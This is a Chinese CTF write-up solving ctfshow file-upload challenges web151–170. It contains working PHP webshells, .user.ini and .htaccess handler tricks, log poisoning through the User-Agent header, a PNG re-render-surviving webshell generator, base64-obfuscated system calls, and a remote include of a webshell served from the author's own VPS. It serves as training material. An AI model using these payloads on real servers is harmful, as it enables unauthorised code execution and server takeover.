web151 前端校验

访问网站,出现如下页面:

image-20231101181827174

右键检查发现,当我们点击 button 提交的时候,会触发下框中的匿名函数,并且从该前端代码可以得知,这里只允许上传PNG后缀的图片。

image-20231101182208617

但是由于文件合法性校验发生在前端页面,故而这里我们可以进行绕过。

方法一:直接右键检查修改源码:

image-20231101182809316

然后上传即可。

image-20231101182820332

方法二:使用Burpsuite进行抓包:

先将PHP木马文件修改为以 .png 结尾的文件,接着使用BP抓取登陆的数据包,将文件名修改即可:

image-20231101183138970

使用中国菜刀或者蚁剑连接即可,为了方便我这里直接使用HackerBar进行传参利用:

image-20231101183735747

web152 前端+后端MIME校验

界面与上一关一致,这里就不再截图。

直接上传一个PHP文件提示:

image-20231101183958909

查看前端源码,发现这里也进行了前端的校验:

image-20231101184224523

直接修改前端源码之后,进行上传发现无法成功。

于是这里使用BP抓取上传的数据库,接着发到重发器进行测试:

先直接上传PHP后缀的文件,页面返回:

image-20231101184604776

通过前端代码发现,这里只要是状态码不等于0的,则都是上传失败的数据包。

image-20231101184625324

经过测试发现,这里进行了MIME检测,通过修改请求头中的 Content-Type 字段,将其修改为 image/png 即可实现任意文件上传。

image-20231101184857019

本关卡进行了 前端校验 + 后端的MIME值校验。

绕过方法:先上传一个后缀名为png的文件,接着使用BP抓取上传的数据包,将文件后缀png修改为PHP,将Content-Type 修改为 image/png 即可。

image-20231101185032601

image-20231101185355503

web153 前端+后端MIME+黑名单

同样存在前端校验,这里我们上传一个png结尾的一句话木马文件,接着使用BP抓包进行测试。

经过测试发现,这里存在 前端校验+后端MIME校验+黑名单,发现可以通过修改请求头中的 content-type 值为 image/png,即可上传非脚本文件。

image-20231101190228068

image-20231101190250111

但是这里直接上传php后缀的文件是不行的,因此存在黑名单。

image-20231101190345149

尝试替换为其他可以解析PHP代码的文件后缀,比如php3php4phpphtmlpht后缀。虽然都上传成功,但是都无法解析。访问直接下载该文件。因为其服务器使用的是nginx搭建,故而无法解析。

image-20231101190819687

image-20231101190841994

这里可以尝试上传.htaccess文件,但是由于服务器是使用nginx搭建的,故而.htaccess上传无效。但是可以上传.user.ini文件。

.user.ini 文件类似于PHP的php.ini文件,他们都可以称为是PHP的配置文件。user.ini.它比 .htaccess 用的更广,不管是 nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

使用.user.ini的条件:

  • 服务器脚本语言为PHP
  • 对应目录下面有可执行的php文件,如index.php
  • 服务器使用 CGI/FastCGI 模式

这里我们先上传 zzz.png 文件,内容为一句话木马:

image-20231101191828630

接着我们上传 .user.ini 文件到服务器,文件的内容如下:

1
auto_prepend_file=zzz.png

image-20231101192229052

在 upload 目录下存在 index.php 文件,我们直接访问该文件利用即可(这里可能需要多刷新几次)。

image-20231101192308912

释义:

在PHP的配置文件(php.ini) 中存在这么两个配置:

1
2
3
4
5
6
7
; Automatically add files before PHP document.
; ;在PHP文档之前自动添加文件(类似于PHP语法中的include)
auto_prepend_file =

; Automatically add files after PHP document.
; 在PHP文档之后自动添加文件(类似于PHP语法中的include)
auto_append_file =

.user.ini 文件官方对他的解析:

image-20231101192711220

大概意思就是说,PHP的 CGI/FastCGI 支持每个目录都有一个 PHP 配置文件,该配置文件就是 .user.ini

而我们上传的 .user.ini 内容为 auto_prepend_file=zzz.png 其实就是想让 zzz.png 上传之后的 upload 目录下的 index.php 文件包含 zzz.png 一句话木马文件,最终达到利用的效果。

注意:.user.ini 配置文件的内容,只对当前目录有效!

web154 前端+后端MIME+黑名单+内容检查PHP

经过测试,发现这里进行了 前端校验+后端MIME+文件内容检查+黑名单

首先,我们上传文件后缀为 pngcontent-type 值为 image/png 的图片,内容为一句话木马,提示如下:

image-20231101195608930

由于后端返回的数据经过了Unicode编码,这里我们使用浏览器的控制台,使用JS中的 alert() 函数进行解码。

image-20231101195739086

发现提示文件内容不合规,应该是对文件内容做了检查,优先猜测是 文件头检测,尝试加上 GIF89a 的文件头,发现问题依旧存在。

image-20231101195908349

接着尝试制作图片马进行上传:

image-20231101200033851

将该图片马上传:

image-20231101200259878

发现依旧上传失败,尝试将最后木马去掉,加上一些其他字符。发现上传成功。

image-20231101200409601

尝试把 <?php 加上,发现上传失败:

image-20231101200509005

发现问题的所在,这里不能带有<?php字样,这里我们要说一下,如果服务器的PHP开启短标签或asp标签,我们可以不适用<?php即可解析PHP代码。

这里我们说以下两种方法:

在PHP7以下版本中,可以使用如下方法解析PHP代码:

1
<script language="php">phpinfo();</script>

image-20231101223728646

在PHP全版本中使用如下方法也可以解析PHP代码:

1
<?=phpinfo();?>

image-20231101223832204

通过服务器响应内容发现,这里是PHP7版本的,因此不能使用第一种方法,我们可以使用第二种方法绕过。

这里经过测试,发现可以上传任意后缀的文件,但是无法上传PHP后缀的文件,于是这里我们上一题的方法.user.ini 文件。

先上传后缀为 png 的一句话木马文件:

image-20231101224440104

其次再上传 .user.ini 文件:

image-20231101224539204

访问与.user.ini同目录下的 index.php 文件,则自动包含图片马文件:

image-20231101224706801

web155 前端+后端MIME+黑名单+内容检查php

经过测试,本道题跟上一关方法一致,都是基于 前端+后端MIME+黑名单+内容检查PHP

先上传 .user.ini 文件,文件内容如下:

1
auto_prepend_file=x1ong.png

image-20231102100654913

其次上传 x1ong.png 文件,内容如下:

1
<?=@eval($_REQUEST["cmd"]);?>

image-20231102101028861

最后利用即可:

image-20231102101739553

其实这里也是支持短标签解析的。

web156 前端+后端MIME+黑名单+内容检查php/[]

本关和上关多过滤了 左右中括号,致使我们不能使用如下方法:

1
<?=eval($_REQUEST['cmd']);?>

但是,我们可以使用 {} 代替 [],可以达到一样的效果。

image-20231102102630935

image-20231102102420436

这里同样上传 .user.ini 配置文件。

image-20231102102810651

web157-158 反引号执行命令

经过测试,本关比上一关多过滤了 {、命令执行函数:systempassthrushell_execexec 等,同时过滤了 echo 等关键字。

但是放出了反引号,在PHP中,我们也可以使用反引号达到命令执行的效果,如下:

image-20231102104155610

但是这里由于过滤了 echo 关键字,没有 echo 关键字,以上方法是行不通的。

不过在PHP表达式写法中,可以不使用 echo 关键字,即可使用反引号达到命令执行的效果,如下:

image-20231102104536424

因此,我们这里依旧上传 .user.ini 包含 x1ong.png 文件,内容如下:

1
<?=`tac /var/www/html/flag.*`?>

image-20231102103635313

image-20231102104708880

web159 反引号执行命令

这里同上一样,都是先上传.user.ini 引入 x1ong.png 文件。

x1ong.png 文件内容如下:

1
<?=`cat /var/www/html/flag.*`?>

image-20231102110210300

image-20231102110340403

web160 日志包含

经过测试,这里重点过滤了 左右括号,因此传统的手法是使用不了的,这里尝试 日志文件包含,但是发现过滤了 log 关键字。

image-20231102111347723

但是可以进行拼接绕过,最终的代码如下:

1
<?=include"/var/lo"."g/nginx/access.l"."og"?>

image-20231102111522254

访问 upload 目录下的 index.php 文件,发现成功包含日志:

image-20231102111813485

我们修改UA字段为一句话木马,之后利用即可:

image-20231102112917503

image-20231102113006577

web161 日志包含文件头校验

经过测试,发现比上一关多了文件头的校验。

这里我们可以直接加上GIF图片的文件头 GIF89a 进行上传即可:

image-20231105144033069

当然这里也可以使用图片马的形式进行上传。

接着再上传一个 .user.ini 文件即可:

image-20231105144229589

内容如下:

1
2
GIF89a
auto_prepend_file=x1ong.png

接着访问 upload 目录下的 index.php 文件:

image-20231105144331213

成功包含日志。

这里直接将UA字段修改为一句话木马,最后利用即可。

web162-163 session包含

这里由于过滤了 . 拼接符号,以及过滤了;,无法使用包含日志的形式getshell,故而只能使用包含session文件。

这里可以直接省去包含 PNG 图片,直接包含 SESSION 文件。该路径为 /tmp/sess_x1ong,这里需要采用竞争的形式进行利用。

但是由于 ctfshow 平台凌晨才会开放竞争条件,于是我们这里先使用非预期的解法:文件包含的形式

SESSION包含参考:https://www.cnblogs.com/sen-y/p/15579078.html#_label10

前置环境搭建:

  1. 首先在VPS上创建 app.py 文件,内容如下:
1
2
3
4
5
6
7
from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello_world():
return '<?php eval($_REQUEST["cmd"]);?>'
  1. 接着在VPS上启动web服务:
1
python3 -m flask run --host=0.0.0.0 --port=80

image-20231107114307129

解题:

  1. 上传 .user.ini 文件,内容如下:
1
2
GIF89a
auto_prepend_file=x1ong

image-20231107114455245

  1. 上传名为 x1ong 内容如下的文件:
1
<?=include"http://148572975"?>

image-20231107150237133

  1. 利用即可

image-20231107150420362

web163与web162略微有点区别,web163 在上传x1ong文件的时候,会立即删除,这里我们需要进行竞争。暴破一直发送。

但是我们不使用这种方法,我们在 web163 使用 auto_prepend_file 直接包含远程文件。

web163:

image-20231107152709143

image-20231107153022074

web164 PNG二次渲染绕过

使用如下脚本生成PNG的图片马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

将以上代码保存为文件 generatePng.php ,接着运行即可得到 1.png, 该图片则是一个图片马。

image-20231105195122914

接着将该图片上传,点击查看图片,会跳转到如下页面:

image-20231105195210849

根据传参的形容猜测可能是文件包含,尝试直接包含我们的图片马文件进行利用。最终得到FLAG。

image-20231105195540340

web165 JPG二次渲染绕过

这里我们准一张图片:

image-202311061010

将该图片上传并下载下来,接着使用如下脚本生成图片马即可。

所需脚本下载地址:https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php

运行该脚本:

1
2
php jpg_payload.php download.jpg
# 其中的download.jpg为上传之后下载的JPG图片。

image-20231106214325713

最后将生成的 payload_download.jpeg 图片修改为 payload_download.jpg 上传即可。

image-20231106214822437

web166 压缩包包含利用

这里需要上传zip文件格式的压缩包。但是我这里使用电脑压缩的zip压缩包上传一直提示,文件类型不合规。

后来在网上看了其他师傅WP才知道,这里使用 winRar 软件打包的压缩包,是可以直接上传的。

如果使用其他压缩软件,在上传的时候,需要将原有文件的 MIME 值 application/zip 修改为 application/x-zip-compressed

这里随便压缩一个文件,将其上传:

image-20231107085112115

当我们上传成功之后,这里提示下载该文件:

image-20231107085149686

点击之后跳转到如下页面:

image-20231107085207238

通过URL发现,猜测这里可能是文件包含,我们这里可以使用如下两种方法:

  1. 准备一个一句话木马文件进行压缩,然后将压缩包上传。

image-20231107085501299

  1. 也可以直接通过BP修改Content-Type值以及文件名后缀上传即可。

image-20231107085717176

这里我使用第二种方法,上传完成之后,直接可以下载文件:

image-20231107085843242

通过BP抓包下载文件时发送的请求,由于这里是使用文件包含的形式,因此可以直接利用该ZIP木马。

image-20231107085958575

web167 .htaccess 文件的利用

题目提示是 httpd, 这让人联想到了 .htaccess 文件。

经过测试发现,这里可以通过修改 content-type 值为图片类型,可以上传任意 非php后缀的文件

image-20231107090725257

但是不能上传php后缀的文件:

image-20231107090803567

可以上传 .phtml 后缀的文件,但是服务器不解析。

image-20231107090821729

由于题目提示是 httpd 尝试上传 .htaccess 文件。

文件内容如下:

1
2
3
<FilesMatch "x1ong.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20231107091835153

接着上传名为 x1ong.jpg 的文件,内容为一句话木马,访问即可利用:

image-20231107092006412

image-20231107092037400

以下是 apache httpd 官方文档对 .htaccess 文件的解释:

image-20231107092229894

FileMatch 则表示匹配,对 x1ong.jpg 使用规则 SetHandler application/x-httpd-php 表示将该图片交给PHP去执行。

由于 x1ong.jpg 的内容为一句话木马,因此我们可以直接利用。

通过服务器响应值发现题目中间件使用的是 nginx,正常来说,nginx是没有.htaccess文件的,自然也不会生效,本道题可能Server信息有误或者手动构建了可利用的环境。

web168 基础免杀

通过测试发现这里可以通过 前端校验+MIME绕过 即可上传 php 后缀的文件,并且该php可以自己解析。

image-20231107093107598

image-20231107093116137

但是我们上传一句话木马的时候,页面返回 null

image-20231107093221688

猜测这里需要做免杀。这里发现服务器使用的是PHP7.3的版本,

可以使用如下方法执行命令:

1
('system')('ls');

但是这里不能使用 system 关键字,可以使用 base64_decode 函数,因此构造如下 PAYLOAD:

1
2
3
<?php
(base64_decode('c3lzdGVt'))('ls');
?>

image-20231107094126629

image-20231107094227500

FLAG 不在这里。经过查看发现 FLAG 在网站根目录下名为 flagaa.php 文件。

image-20231107094336229

web169-170 高级免杀

经过测试发现这里是 前端要求上传zip 后端要求上传JPG, 我们这里绕过一下即可:

image-20231107100324042

当我们上传内容为 < 的时候,这里提示 null,没有上传成功。但是当我们上传内容为 123 的时候,发现可以成功上传,并且可以访问:

image-20231107100427094

image-20231107100448618

由于过滤了 <,那么就没有办法执行PHP代码了,只能尝试通过上传 .user.ini 文件包含日志或者使用伪协议。

1. 使用伪协议无法上传,大小写无法绕过php关键字。

image-20231107101429288

2. 包含日志成功上传:

image-20231107101404508

包含日志上传成功了, 我们访问 upload 目录,发现 upload 目录下并没有 index.php 或者 其他PHP文件,导致 .user.ini 无法包含。

image-20231107100823806

那么这里我们可以上传一个名为 index.php 或者其他文件名的文件。

image-20231107100901894

接着访问 x1ong.php 文件,即可自动包含 /var/log/nginx/access.log 文件。

image-20231107101738660

修改UA字段为一句话木马:

image-20231107102443819

最后利用即可:

image-20231107102646878